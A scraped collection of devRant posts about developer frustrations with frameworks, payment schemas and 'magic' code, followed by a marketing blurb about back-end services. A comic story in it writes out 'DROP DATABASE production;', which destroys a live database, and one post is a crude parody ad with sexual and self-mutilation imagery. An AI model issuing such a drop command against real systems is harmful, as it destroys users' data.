Unfortunately trying to abstract the different payment methods and to squeeze them (and their different possible stati and functions) in these tables was not very successful, it's a total mess with magic numbers, half-broken behavior and without any consideration for partial payments/captures or unfinished requests (i.e. if there is an exception before the response is dealt with, there is no indication that anything has ever been sent). Also the current amount is calculated through the history of the paymentDetails table, which basically works differently for each payment type.
How to fix this mess in a way that I'll still have a job by next week?
I'm trying to improve the db schema first, as I think my biggest problems are lying there. Through some research I've come across a recommendation for making payment type specific subtables (with a magic number/string in the main table to prevent having to look up all subtables). That way I can record what I send and receive without having to abstract it too much, so I'll have an acceptable transaction log. The paymentDetails table can be removed (necessary fields go to the payments table). The payments table gets multiple fields for the amount (differentiating between open, authorized, captured, processing and refunded values) and always reflects the current status.
Tables:
payments
paymentRequestsPaypal
paymentRequestsAmazonpay
paymentRequestsXyz
I think I'm going in the right direction here. hm. Maybe there's some light at the end of this long, dark tunnel. Or a train. I'll have two days to find out.question kill me already send help thank you for being my rubber duck payment gateways deadline approaching rant/question burnout6 -
<3 VS-CODE (:
It's like having a customized tool , well a weapon in that sense 😂😂 Developers like to think of themselves as wizards (including me) and every wizard needs their wands 😋😋3 -
as a seasoned systems eng myself, i had huge mental block of "i am not a programmer" whining when starting to incorperate agile/infrastructure as code for more seasoned syseng staff.
leadership made devops a role and not a practice so lots of growing pains. was finally able to win them over by asking them to look at how many 'scripts' and 'tools' they wrote to make life easier... and how much simpler and sustainable using puppet/ansible/chef/salt... and checking in all our sacred bin files and only approved 'scripts' would be pushed thru automation tool after post review.
we still are not programmers or developers, but using specific practices and source control took some time but saving us loads of time and gives us ability to actually do engineering
but just have 2 groups of younger guys that grew up wanting to be the bofh/crumudgen get off my systems types that are like not even 30... frustrating as they are the ones that should be more familiar with the shift from strictly ops to some overlap. and the devs that ask for root now that they can launch instances on aws or can launch docker containers and microservice..... ugggg. these 2 groups have never had to rack and stack servers, network gear, storage... just all magic to them because they can start 50 servers with a button click.
try to get past the iam roles, acls, facls, selinux and noshell i have been pushing. bitches. -
My team has a pathological need to NOT comment! What the fuck!! I think it is because a lot of it is actually magic, so they don't want to admit ignorance. My code is full of "not sure why it works, but breaks when removed." Chunks. That way, when debugging, I actually know what is going on????
I am currently going through and editing someone else's code, and I see code that has no clear purpose, even when removed! Does it do something I don't see??? Does it do nothing?? Fuck! -
I need advice fellow developers, am I stubborn?
So I lost an argument in my team regarding constant vs variable directly in a method for stored procedure names.
I separated names of procedures into their own StoredProcedureConstants file because it makes it very easy to see all procedures used in a project and refactor their names if necessary. Argument against was that you loose time creating a constant. Am I silly if I am alergic to seeing quotation marks stuff without its designated purpose throughout the code?
Their way is adding var procedureName = "cc.storeProcedureName" directly in a method. I just can't find my peace with it. To me this is a magic string.
Am I being unreasonable?3 -
I hate the fucking Spring WebFlux and the goddamn Project Reactor on which it depends!
Even debugging a simple CRUD microservice with simple business logic is such a pain in the ass, exception handling has a lot of "magic" implicit stuff which makes me waste hours in fucking trial & error and I have to use very little breakpoints because if a request is paused for more than few seconds it gets terminated.
I love functional programming but why shove it in fucking Java making me waste 90% of my time in trying to guessing what the fucking framework is doing, why not just use Scala which runs in the JVM? We don't even need compatibility with legacy code since it's a greenfield project!
And before you ask yes, I read a fucking book about Project Reactor and Java reactive programming and a lot of docs on Spring, Spring Boot and Spring Web Flux.2 -
So over the past few weeks I have been smacking my head against the table tying to solve my work problem and failing to... Today I spend a few hours at work not working and playing with code making something fun and easy. After this I go back to the headache and if my magic get something working.
-
I feel like time is short.
Things about to get real.
Make sure essentials are stocked.
Stay away from DC.
Get right with whatever you believe in.
Help your neighbor.
I don't have a magic ball.
I don't know if things will be good or bad.
But change is upon on.
Ready or not.
I pray to God he forgives us.
I wish the hardest thing in life was writing code.
I wish the world I was taught about when I was young was the real world.
Maybe if things go well it could be.
Look up, pray, and realize you are not alone.
I shall not fear the dark of night,
nor the arrow that flies by day.
Cheers!2 -
It is amazes how much brain can be wasted with react.
In those 7hours (impressed myself by my bullshit withstanding), it took me 20min to understand a fucking api and how objects relate altogether, 1h to make the tut
and 5+fucking hours to understand how to plug the components.
I did use vue and backbone before and am 5y nodejs user.
seriously react is a bag of shitty magic.
I don't even want to try to read the code source yet, this could be the fatal move...
Oh. and also. people have to stop with jsx, it is so so so wrong. new syntax with new errors just for a fucking syntaxic sugar for saving a pair of parenthesis!!!!
like it matters after having installed 1e2+ MB of dependancies for a SPA of 10 components...
The only thing we miss is a react IDE to support JSX. #wheregoesthefront
And I am not even to the point of data flow and pubsub hells which i will be sure will be gold as well8 -
I'm trying. I'm really trying to understand you Dagger 2. But every time I read articles, look at source code and just try to understand how your magic works, I end up copy pasting the sample code. And then I don't know what I even did ffs.
Maybe it's so damn hard for me because I don't understand Dependency injection? But I think I do... What can I do to understand you? Please tell me?
Especially when my use case requires nested fragments and isn't just that typical inject fragment to activity sample...
And now I have to fill in all of the injected fields in my integration tests by hand because I can't figure out how to fucking make you piece of shit do the motherflipping injection!! Fuck.
I need painkillers... My head starts hurting1 -
Rubber ducking your ass in a way, I figure things out as I rant and have to explain my reasoning or lack thereof every other sentence.
So lettuce harvest some more: I did not finish the linker as I initially planned, because I found a dumber way to solve the problem. I'm storing programs as bytecode chunks broken up into segment trees, and this is how we get namespaces, as each segment and value is labeled -- you can very well think of it as a file structure.
Each file proper, that is, every path you pass to the compiler, has it's own segment tree that results from breaking down the code within. We call this a clan, because it's a family of data, structures and procedures. It's a bit stupid not to call it "class", but that would imply each file can have only one class, which is generally good style but still technically not the case, hence the deliberate use of another word.
Anyway, because every clan is already represented as a tree, we can easily have two or more coexist by just parenting them as-is to a common root, enabling the fetching of symbols from one clan to another. We then perform a cannonical walk of the unified tree, push instructions to an assembly queue, and flatten the segmented memory into a single pool onto which we write the assembler's output.
I didn't think this would work, but it does. So how?
The assembly queue uses a highly sophisticated crackhead abstraction of the CVYC clan, or said plainly, clairvoyant code of the "fucked if I thought this would be simple" family. Fundamentally, every element in the queue is -- recursively -- either a fixed value or a function pointer plus arguments. So every instruction takes the form (ins (arg[0],arg[N])) where the instruction and the arguments may themselves be either fixed or indirect fetches that must be solved but in the ~ F U T U R E ~
Thusly, the assembler must be made aware of the fact that it's wearing sunglasses indoors and high on cocaine, so that these pointers -- and the accompanying arguments -- can be solved. However, your hemorroids are great, and sitting may be painful for long, hard times to come, because to even try and do this kind of John Connor solving pinky promises that loop on themselves is slowly reducing my sanity.
But minor time travel paradoxes aside, this allows for all existing symbols to be fetched at the time of assembly no matter where exactly in memory they reside; even if the namespace is mutated, and so the symbol duplicated, we can still modify the original symbol at the time of duplication to re-route fetchers to it's new location. And so the madness begins.
Effectively, our code can see the future, and it is not pleased with your test results. But enough about you being a disappointment to an equally misconstructed institution -- we are vermin of science, now stand still while I smack you with this Bible.
But seriously now, what I'm trying to say is that linking is not required as a separate step as a result of all this unintelligible fuckery; all the information required to access a file is the segment tree itself, so linking is appending trees to a new root, and a tree written to disk is essentially a linkable object file.
Mission accomplished... ? Perhaps.
This very much closes the chapter on *virtual* programs, that is, anything running on the VM. We're still lacking translation to native code, and that's an entirely different topic. Luckily, the language is pretty fucking close to assembler, so the translation may actually not be all that complicated.
But that is a story for another day, kids.
And now, a word from our sponsor:
<ad> Whoa, hold on there, crystal ball. It's clear to any tzaddiq that only prophets can prophecise, but if you are but a lowly goblinoid emperor of rectal pleasure, the simple truths can become very hard to grasp. How can one manage non-intertwining affairs in their professional and private lives while ALSO compulsively juggling nuts?
Enter: Testament, the gapp that will take your gonad-swallowing virtue to the next level. Ever felt like sucking on a hairy ballsack during office hours? We got you covered. With our state of the art cognitive implants, tracking devices and macumbeiras, you will be able to RIP your way into ultimate scrotolingual pleasure in no time!
Utilizing a highly elaborated process that combines illegal substances with the most forbidden schools of blood magic, we are able to [EXTREMELY CENSORED HERETICAL CONTENT] inside of your MATER with pinpoint accuracy! You shall be reformed in a parallel plane of existence, void of all that was your very being, just to suck on nads!
Just insert the ritual blade into your own testicles and let the spectral dance begin. Try Testament TODAY and use my promo code FIRSTBORNSFIRSTNUT for 20% OFF in your purchase of eternal damnation. Big ups to Testament for sponsoring DEEZ rant.3 -
Well, for me being a dev or at least a hobby-dev is like reading and writing a book. Each like of code holds a thought as each sentence holds a story. The more you write, the better is the result. It's the feeling that you can do art in multiple ways.
Once you start, you fall down a deep and unknown rabbit hole, yet it's a slow fall, with a lot of obstacles in the way. You'll get bruises. Break something even. In the end you'll die. That doesn't matter though, because what's left after you is the path you chose and it's open for anyone who dares to follow you.
It's like magic. -
It really irritates me when other engineers of various levels get hung up on pedantic, low hanging fruit bullshit in my merge requests. Like really, why keep a thread going just to force me to explain why I chose to make a particular magic string a constant that you don't see a use for? What about all the infrastructure setup code I spent 3 days on? Did you even read any of that to make sure it was sound and that my dumb/drunk/tired ass didn't make an obvious mistake, or could have done it better?2
-
The Node and its magic tricks never cease to surprise me.
I created several new components and tried to compile them for verification. Then this big fat error popped up.
I commented out all the newly created code (didn't remove any files, just did ^A^/). Recompiled. This big fat error again.
Undid modifications I made to the files that existed there before. Recompiled. This big fat error again.
Moved the newly created files outside of the project scope (mv app/<...>/featureX/ ../bkup/). Recompiled. SUCCESS.
Moved all of those files back (mv ../bkup/featureX app/<...>/). Recompiled. SUCCESS.
wtf...2 -
Some magic happened about situation talked in earlier rant at below link.
https://devrant.com/rants/2910513/...
Now magically even before I inform about this situation directly to the client, now after 8 years they used some proprietary static code analyzer on latest app source & found out around 200+ security issues which covers most pain points I told in the above rant.
I also found out that there is a list of 100+ vulnerabilities documented in client doc repo, which were pending since around 5-6 years.
Now I have to work along my junior to fix these both kind of issues.
Suddenly dull maintenance project became much challenging & interesting. :-) -
sometimes need to learn about how people thinking much more than computer do. like visualitaion your "magic" code with some people want.
-
So worked myself into stupor for a react-native app(first -time). It is the client part for large system ecosystem. Was rough at first but after initail field test and refactor to the code base it is in 95% stable form. This all happend in 2 months. During this time co-workers build rest of system in node and other backend magic sauce 👩💻 .
My app has sibling app to collab with. I make a note (early in the development of this sibling app) that the ui is not working for the use case and get in a heated debate with co-workers. Concede 🙌 that it is not my part of the system and leave it to them, they blame the fact that no design was given. Fast forward to yesterday I get munched by client that wants to showcase the system to large company and has to struggle with sibling app. I tell him it is something "we" would look at in the next cycle ( covering for my coworkers) .
I feel shit and year now starts off with crappy feeling that all my hard work to get my app to decent version of itself is lost☠️ . -
My first experience was when I found old book about visual basic. Many years after that I was thinking that every language has a magic function to sort array. But normal coding expirience i've got when some day me and my friend decided to create a game. And after 2 years of development - ta da, I knew how to code.
-
Storytime.
Our prometheus node, one of your oldest systems (somehow fits the Titan reference..), is about to be relieved of its duties after several years of loyal services to the crew.
We decided to run with another Prometheus node in the ring, that will run simultaneously with the old one, so that the new one can start to collect metrics that we need for alerting (some historic metrics are needed too..). sort of an Prometheus cluster, without the cluster fun and with 2 different Prometheus versions.
The problems with this? Well it's not the new node or the latest shit versions of Prometheus per se.
1: The node exporter.
those dudes decided to make some breaking changes in a minor update, so that you will need to run with some magic bullshittery, that the latest Prometheus can make something out of the old metrics provided by the old node exporters.
The other one is the related puppet code.
The node definitions for Prometheus were built via exported resources on the target nodes.
The code worked like a charm with only one Prometheus node, but try that with two instances in the same way.
Still WIP, but some targets are already included in the new Prometheus instance.
alerting works so far.
Can't wait to close this ticket for good.. -
Damn lots of you knew this shit before turning of age.
I didn't code a single line until I went to college.
I tried to, but it was just too fucking complicated and I didn't understand a thing. Tried to grasp how to use some tools like Unity or an Adventure Maker of sorts and something called Flix for Flash games. Didn't understand shit.
I decided to study systems engineering due to a career aptitude test I took hoping somehow that way I could learn sthg.
First thing I was taught was bash.
When I realised I already knew enough to code a whole text adventure from scratch with such a simple language I felt really hyped.
Always loved text and graphic adventures.
Afterwards I was taught the Z80 assembly language and how CPU registers worked and it blew my fucking mind.
That was the first half-year.
Then I was taught C. And boy was it hard. Didn't get how memory was being handled until the very end.
I happened to be one of the few passing a stupidly complicated semifinal test with triple indirection pointers.
That felt goood.
Learning other languages afterwards was a piece of cake. C#, Java, X86 assembly, C++...
It was a hard door to open. Fucking heavy. But now nothing seems black magic anymore and boy isn't that something to be proud of! :D -
Alright so this is just me throwing my thoughts down from today cause I need some outlet.
Gonna start programming a lot more than I do now cause I want to improve and I enjoy it.
I started my JavaScript course and that's going well so far. I need to figure out a way to make the info stick. I'm gonna def use the projects from each day as resources though.
I need to practice python (which I'm good with) occasionally so I dont lose my magic touch. I was thinking of doing a project on a raspberry pi that uses a camera for object/facial recognition and picking projects like that and occasional small ones I do in js.
Although theres still a lot I have to learn on the DOM side of js. I dont want to be a front end dev cause I dont have that artistic eye so I'm mostly gonna use it for node and small front end stuff
But mostly I need to be able to grasp more from tutorials, examples, courses, etc. And understand how and when and why I should use whatever it is.
Also I wanna use someones code to learn but it's never documented well enough for me to know what's happening I'm mostly referring to when theres a library or api I'm unfamiliar with.
Also JS is getting a little boring so hopefully python will help dull that feel6 -
Make an ASP .NET application for job interview take home assignment.
Try to use docker with it.
Runs fine through Visual studio (not code)
I declare is working and submit to organization but say it can run through docker-compose up.
I get reply that even the basic command doesn't work.
Turns out visual studio does some magic mapping or caching under the hood that I couldn't find in any config in the project and somehow gets it to work, but when running without Visual studio it doesn't have that magic context shit and thus running through terminal fails.
Obviously a lot is my fault for assuming what works through IDE would run through terminal without testing, but I will be angry with VS to make myself feel better >.>2 -
I go through cycles of what I want to work on during my off time. Sometimes I code utilities for video games. Other times I get engrossed in games. One of the games I like to play is Minecraft. Not vanilla Minecraft, but modded Minecraft. It scratches that itch for creativity, fun, relaxing, hanging with people, and technical interest. I am currently playing a medium sized older modpack that has most of the mods I like to play: magic, tech, building tools, dimension building and more.
I am early game on a server with some other people. I already overloaded the server with a population explosion of villagers I am melting down for emeralds. That was interesting. I started automating this and decided to try using ComputerCraft to automate some pieces of this. I stared at the code and just "no, I am not working on my off time". I am going to automate this another way. I used to really like computercraft, but it was code and looked like work. I find that interesting.
Anyway, this is random ass shit I do for fun. Wood house/shack, workroom and ore processing are with no walls, decent small tree farm, and a nuclear reactor in the basement...2 -
I made this: https://gitlab.com/snippets/1992288
Spare me if the title makes no sense grammatically, not a native speaker.
I'm building a microservice that keeps a check of the subscribers on my product, I wanted to keep an eye of those subscribers that may be missing the latest payment.
One way to do that is to make it work with my code and some ORM magic, but that may become unsustainable as the customer base grows, another idea that occurred to me was doing it fully inside (?) the database. The solution is to compare how many days have passed since the last payment and right now, if 'right now' is larger than 'last payment' then the subscriber is late with their next payment.
I did this as a PL/pgSQL function with an example usage accompanying that code.
Now, I just need to figure out how to use the result of those calculations in a WHERE statement...2 -
Writing volumes of pure magic code in that weird state between tired and super tired.
Sleeping pills + redbull?
Wk172 -
Hasn't technology become magic - and we ignorant sorcerer's apprentices who can perform a video call to the other side of the globe perhaps while we understand only some bytes of the thousands software snippets that were piled up by us code monkeys to perform the miracle? ...
This however has always been the state of software (for us developers): that this house of cards needs constant care by our hands to not collapse - in constant fear we may preserve the facades while the number of components that interact, the sheer mass of code only allow for guesswork and hotfixes accumulating the technical debt. Yes, we have all that terms for that. The problems are known since the 80s or 60s, so we might be relabeling it once in a while, but mainly it is just: complexity.. or entropy.2 -
is laravel app really enjoyable to write ?
i started as a laravel dev. the known story , all code in controllers etc. As i started to improve, fortunately i changed company, and worked with a symfony project. A symfony that looked like java. hundreds of classes, tests, yaml injections , objects for requests, for everything.
I thought that i missed the old laravel days, and i took an extra job on laravel again. I was soooo wrong.
It was not only that the code of the previous dev was inferior to what i am now used, it is that i have to be with an open documentation all the time. Even if the project is in the same version that i have used to earlier (an old one).
You have to check all the time the model settings, the migration, the magic tricks of model mass insert, the castings, the validation rules, why the tests are not finding some routes, why this, why that, how it is written this.
Excuse me, but i think the fun and easiness is far from what they say and what i thought it was. I start to change my mind and believe that inserting the request to a simple php object is more controllable than the gandalf tricks that laravel is doing, and you cannot know if it is worth your time to test it . And more importantly, you do not have to look at the cookbook, all the time@@@5 -
For those who ever tried to find and/or implement a crm: everything seems to be based on that bastardized vtiger core which is based on an old version of sugarcrm I'm so fucking tired of that shit. I gonna make my own. The underlying framework makes me sick to the bone. Everything in there relies heavily on magic. Being arround for years and just recently got a new major release yet unable to transfer offer items to the invoice even though it requires a relation?
This is not blunt talk. My thing is based on Laravel, EAV principle for dynamic fields, module code structure, interface for the list view and many other stuff is already integrated. This is gonna be done and will be done because existing stuff is so fucking ugly and broken I can't fathom myself.
Btw I still need a name
PS: I hate smarty, PearDb and their fucking database layout -
Once a React aficionado, twice the frustration we endure,
In the realm of libraries, React's problems seem impure.
With Svelte's elegance and grace in our sight,
Let's vent about React, as day turns into night.
Boilerplate Overload, a monotonous affair,
Classes, constructors, lifecycle steps we declare.
In Svelte's simplicity, we find a breath of fresh air,
Just markup and magic – a coder's love affair.
Complex State Management, React's Achilles' heel,
Redux, Mobx, and their massive code appeal.
Svelte's state handling is a cinch, for real,
No more tangled webs of logic to conceal.
Unnecessary Re-Renders, React's performance woe,
Countless updates, like a never-ending show.
Svelte updates what's needed, like a pro,
Efficiency and speed, in its radiant glow.
Verbose Syntax, JSX's verbosity on display,
HTML in JavaScript, causing dismay.
Svelte's concise template syntax lights our way,
No more endless tags, just code that's here to stay.
Lack of Truly Reactive Behavior, React's hurdle high,
Hooks to wrangle, state to satisfy.
Svelte's reactivity, no need to question why,
It just works, oh my, oh my.
Ecosystem Complexity, React's sprawling sprawl,
Choices galore, making us bawl.
In Svelte's world, simplicity is the call,
A coherent ecosystem, it has it all.
Learning Curve, React's mountain to climb,
Classes, hooks, context, a hill of time.
Svelte's gentle curve feels sublime,
A smoother path to code, so fine.
Tooling Overkill, React's complex array,
Build tools, linters, configs in disarray.
Svelte's streamlined setup leads the way,
No more intergalactic code buffet.
Debugging Headaches, React's mysterious realm,
Complex state, intricate components overwhelm.
Svelte's predictable model, a soothing helm,
Debugging becomes a peaceful realm.
In the end, React, a complex labyrinth we explore,
Svelte's elegance and simplicity we adore.
If only React could learn, its problems to deplore,
A brighter future, for React we'd implore.3 -
Happens alot with Android devs 😝😝.
It does't matters how much you try to make your code run, the moment you sleep some code fairy comes to do some code magic.1 -
How do you handle error checking? I always feel sad after I add error checking to a code that was beautifully simple and legible before.
It still remains so but instead of each line meaning something it becomes if( call() == -1 ) return -1; or handleError() or whatever.
Same with try catch if the language supports it.
It's awful to look at.
So awful I end up evading it forever.
"Malloc can't fail right? I mean it's theoetically possible but like nah", "File open? I'm not gonna try catch that! It's a tmp file only my program uses come oooon", all these seemingly reasonable arguments cross my head and makes it hard to check the frigging errors. But then I go to sleep and I KNOW my program is not complete. It's intentionally vulnerable. Fuck.
How do you do it? Is there a magic technique or one has to reach dev nirvana to realise certain ugliness and cluttering is necessary for the greater good sometimes and no design pattern or paradigm can make it clean and complete?15 -
What do you guys think about deploying elastic search on App Engine Custom Runtime?
(Basically, an empty folder with an elastic search Dockerfile.)
I think it's a good idea: you can now deploy your code and storage application (Elastic search, Redis, etc) as services on your cluster.
You can use GCP magic to auto scale those services, you have so many good stuff that come with it.
And it's inside the same network as your services running in the same AppEngine project.1 -
You can call me a noob developer, but I still think its magic when your code doesn't work. So you step through your code to see what's wrong. But you can't see it. So you just hit continue just to see your code is now working3
-
Had a hell of a week trying to convince a client that "Case Sensitivity" is a real thing in programming languages.
So there was some typo in some third party code which client had provided which was not giving the accurate results, but the client was not ready to listen. I asked him to get the variable rectified from the 3rd party from
var1 to Var1
But he somehow had a notion in the back of his mind that the 3rd party could never ever be wrong and it was surely I who had screwed up the code and he won't even bother the other team.
He was all like "I don't understand anything remotely connected with coding, but do explain me why is this not working ?" (His exact words)
Me (thinking): umm, WTF !!!
After to and fro for the whole damn week, finally able to convince him ( I guess, still doubtful) after giving the video and link of a jsfiddle showing him all the freaking magic of caseSensitivity! -
About a month in and I've found that Github copilot code suggestions are like magic half the time. The other half is useless garbage.
However, writing comments has been a dream. 99% of the time it gives the correct description. If anything its worth using for just that.1 -
CEO wants some Genie magic!!!!
I work at a start-up were we have interns from the university go through trainings and mentorship before joing our team. Budget is very tight and spending is unthinkable.
Took me a lot of pains and sleepless night, reading of tech books and lot of strength to be were I am and I still do it because I want more but recently I got into intense coversation with CEO and he wants me to do some genie magic, he is like.....
CEO: we need more hands to do client work and build our products base , why is it difficult for New developers to start working on our code base?
ME: those guys are not developers, there is a big margin between being a developer and a university graduate in the country.
I was wondering after the whole stuff , if those guys can just grab this thing and become genius overnight, well if that happens then I am screwed, it will imply I am an asshole who spent time at simple things but we know this things can be uneasy to wrap your head around especially when the concept or language is new to you, I was pissed up at the meeting and gave some anoying unreasonable options which tells I was angry, at the end that understood my point and we got a way forward and reasonable4 -
As a developer, staying focused on task is paramount. I listen to all kinds of music with a good BPM to help me either concentrate on my code or the song and nothing else. Recently I have found out about Magic Sword, and it made me wonder, what are y'all listening to these days while slinging code?1
-
The holidays are the worst period: since I am the only dev, my boss get into the code, and I receive multiple messages - calls the explain "why this is so bad" and even "when you come back from vacation we need to talk about a lot of problems".
So, everything worked when I was there because of magic, it seems... -
which type are you ??
**Manager:** Hey, we've got a little hiccup in the production environment. I know it's Friday evening and you're probably daydreaming about pizza, but could you give it a peek?
**Type 1:** Man, this is like finding a needle in a haystack while wearing sunglasses at night. Might take me a few hours... or days. But hey, wish me luck and have an epic weekend!
**Type 2:** Eureka! Found the gremlin. It looks like XYZ person tried to be a bit too creative on commit number 2234324. Maybe they had too much caffeine? Anyway, could you have a chat with them? And oh, may your weekend be as smooth as a fresh jar of peanut butter.
**Type 3:** Detective mode activated! Found the sneaky bug. It was XYZ person's "masterpiece" in commit number 2234324. But fear not! I've put on my superhero cape and fixed it in commit number 345453345.
**Type 4:** This issue again? It's like a recurring bad dream about forgetting your pants! I've revamped the whole thing so we don't have to relive this nightmare. If someone tries to pull this off again, our CI/CD will roast them like a marshmallow over a campfire.
**Type 5:** Ta-da! Fixed the glitch, jazzed up the design, and sprinkled in some extra logging magic. Now, troubleshooting will be as easy as pie. Speaking of which, I've got time for a coffee and maybe a slice of pie before heading out. Cheers!
Type 6 **Gloomy**: Oh, the digital clouds have gathered again. This issue is like a never-ending rain on a Monday morning. I've peered into the abyss of our code, and it's... well, it's deep and dark. I'll need some time, a flashlight, and maybe a comforting blanket. If you don't hear from me in a few hours, send in a search party with some hot cocoa.4 -
Once upon a time in the exciting world of web development, there was a talented yet somewhat clumsy web developer named Emily. Emily had a natural flair for coding and a deep passion for creating innovative websites. But, alas, there was a small caveat—Emily also had a knack for occasional mishaps.
One sunny morning, Emily arrived at the office feeling refreshed and ready to tackle a brand new project. The task at hand involved making some updates to a live website's database. Now, databases were like the brains of websites, storing all the precious information that kept them running smoothly. It was a delicate dance of tables, rows, and columns that demanded utmost care.
Determined to work efficiently, Emily delved headfirst into the project, fueled by a potent blend of coffee and enthusiasm. Fingers danced across the keyboard as lines of code flowed onto the screen like a digital symphony. Everything seemed to be going splendidly until...
Click
With an absentminded flick of the wrist, Emily unintentionally triggered a command that sent shivers down the spines of seasoned developers everywhere: DROP DATABASE production;.
A heavy silence fell over the office as the gravity of the situation dawned upon Emily. In the blink of an eye, the production database, containing all the valuable data of the live website, had been deleted. Panic began to bubble up, but instead of succumbing to despair, Emily's face contorted into a peculiar mix of terror and determination.
"Code red! Database emergency!" Emily exclaimed, wildly waving their arms as colleagues rushed to the scene. The office quickly transformed into a bustling hive of activity, with developers scrambling to find a solution.
Sarah, the leader of the IT team and a cool-headed veteran, stepped forward. She observed the chaos and immediately grasped the severity of the situation. A wry smile tugged at the corners of her mouth.
"Alright, folks, let's turn this catastrophe into a triumph!" Sarah declared, rallying the team around Emily. They formed a circle, with Emily now sporting an eye-catching pink cowboy hat—an eccentric colleague's lucky charm.
With newfound confidence akin to that of a comedic hero, Emily embraced their role and began spouting jokes, puns, and amusing anecdotes. Tension in the room slowly dissipated as the team realized that panicking wouldn't fix the issue.
Meanwhile, Sarah sprang into action, devising a plan to recover the lost database. They set up backup systems, executed data retrieval scripts, and even delved into the realm of advanced programming techniques that could be described as a hint of magic. The team worked tirelessly, fueled by both caffeine and the contagious laughter that filled the air.
As the hours ticked by, the team managed to reconstruct the production database, salvaging nearly all of the lost data. It was a small victory, but a victory nonetheless. And in the end, the mishap transformed into a wellspring of inside jokes and memes that permeated the office.
From that day forward, Emily became known as the "Database Destroyer," a moniker forever etched into the annals of office lore. Yet, what could have been a disastrous event instead became a moment of unity and resilience. The incident served as a reminder that mistakes are inevitable and that the best way to tackle them is with humor and teamwork.
And so, armed with a touch of silliness and an abundance of determination, Emily continued their journey in web development, spreading laughter and code throughout the digital realm.2 -
In the dynamic realm of software development, where the user interface meets the complex machinery behind the scenes, Back-End Expertise https://sombrainc.com/expertise/... emerges as the unsung hero. As businesses increasingly rely on digital platforms to connect, engage, and transact with their audience, the prowess of back-end development becomes paramount.
At its core, Back-End Expertise refers to the specialized knowledge and skills required to architect, build, and maintain the server-side of applications. While the front end dazzles users with intuitive interfaces and captivating designs, the back end silently weaves the intricate tapestry that ensures seamless functionality, robust security, and optimal performance.
The Back-End Symphony: Orchestrating Digital Harmony
Imagine a symphony where each instrument plays its part to perfection, creating a harmonious melody. Similarly, in the world of software, the back end orchestrates a symphony of databases, servers, and frameworks, ensuring that data flows smoothly, operations execute seamlessly, and applications respond promptly to user commands.
Back-End Experts are the virtuosos who write the code that makes applications tick. They delve into the intricacies of databases, crafting queries that retrieve and store data efficiently. They architect server-side logic, meticulously designing algorithms that power functionalities ranging from user authentication to complex business processes.
Security as the Forte: Safeguarding the Digital Fortress
In an era where data breaches loom as potential threats, Back-End Expertise becomes a formidable fortress. These experts implement robust security measures, safeguarding sensitive information and ensuring the integrity of digital ecosystems. Encryption, authentication protocols, and secure API integrations are the tools of their trade as they create digital bastions against cyber threats.
Optimizing Performance: The Need for Speed
User experience hinges on speed, and Back-End Experts understand the importance of optimizing performance. Through efficient coding practices, load balancing, and server-side optimizations, they strive to minimize latency and ensure that applications respond swiftly, even under heavy user loads.
Future Trends: Back-End Evolution
As technology evolves, so does the landscape of back-end development. Cloud computing, serverless architectures, and microservices are shaping the future of back-end expertise. Back-End Experts must adapt to these trends, embracing new tools and methodologies to stay at the forefront of innovation.
In conclusion, Back-End Expertise is the backbone of digital experiences. While users interact with the front end, the magic unfolds behind the scenes, where Back-End Experts craft the architecture that defines the reliability, security, and performance of applications. Their alchemy transforms lines of code into seamless digital experiences, leaving an indelible mark on the ever-evolving landscape of software development.1